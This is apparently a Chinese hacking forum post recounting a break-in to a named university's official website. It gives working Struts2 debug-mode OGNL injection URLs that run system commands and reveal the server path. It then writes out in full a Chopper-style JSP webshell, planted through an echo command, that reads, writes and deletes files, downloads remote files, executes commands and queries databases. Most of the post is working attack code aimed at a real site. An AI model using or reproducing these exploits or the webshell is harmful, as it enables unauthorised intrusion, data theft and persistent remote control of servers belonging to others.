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登录连接http://www.ycu.edu.cn/website/login.do 报错发现是struts2 而且开启了debug

于是测试地址
http://www.ycu.edu.cn/website/login.do?debug=command&expression=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(new%20java.lang.ProcessBuilder({%27whoami%27}).start().getInputStream())).readLine()
成功执行

后面是传shell的过程，大神就不用看了，不了解的可以了解一下。。
然后获取服务器路径
http://www.ycu.edu.cn/website/login.do?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23e=%23req.getRealPath(%27%27),%23resp.println(%23e),%23resp.close()
得到D:\Tomcat\webapps\ROOT
然后上传shell
直接写shell但是没成功（编码问题）所以先写了一个执行cmd的jsp
然后用echo xx>路径/images/a.jsp
处理特殊字符后的一段话
cmd /c echo ^<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%^> ^<%! String Pwd="chopper"; String EC(String s,String c)throws Exception{return new String(s.getBytes("ISO-8859-1"),c);} Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance(); Connection c=DriverManager.getConnection(x[1].trim());if(x.length^>2){c.setCatalog(x[2].trim());}return c;} void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i^<r.length;i++){sb.append(r[i].toString().substring(0,2));}} void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt; SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i^<l.length;i++){dt=new java.util.Date(l[i].lastModified()); sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");} else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);} void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles(); for(int k=0;k^<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();} void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset(); ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s)); os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();} void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile(); FileOutputStream os=new FileOutputStream(f);for(int i=0;i^<d.length();i+=2) {os.write((h.indexOf(d.charAt(i))^<^<4^|h.indexOf(d.charAt(i+1))));}os.close();} void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles(); for(int j=0;j^<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());} }else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df); int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}} void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();} void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());} void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d); HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512]; while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();} void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is)); while((l=br.readLine())!=null){sb.append(l+"\r\n");}} void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs(); while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();} void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t); while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();} void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s); Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData(); for(int i=1;i^<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();} void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008); try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i^<=n;i++){sb.append(d.getColumnName(i)+"\t|\t"); }sb.append("\r\n");while(r.next()){for(i=1;i^<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();} catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n"); }catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();} %^>^<% String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs); String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs); StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|"); if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}} else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();} else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);} else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");} else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");} else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c); MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);} else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);} }catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString()); %^>^|^<--^>^| >"D:/Tomcat/webapps/ROOT/website/images/right.jsp"
最后连接

再怎么说也是官网。。。求一个马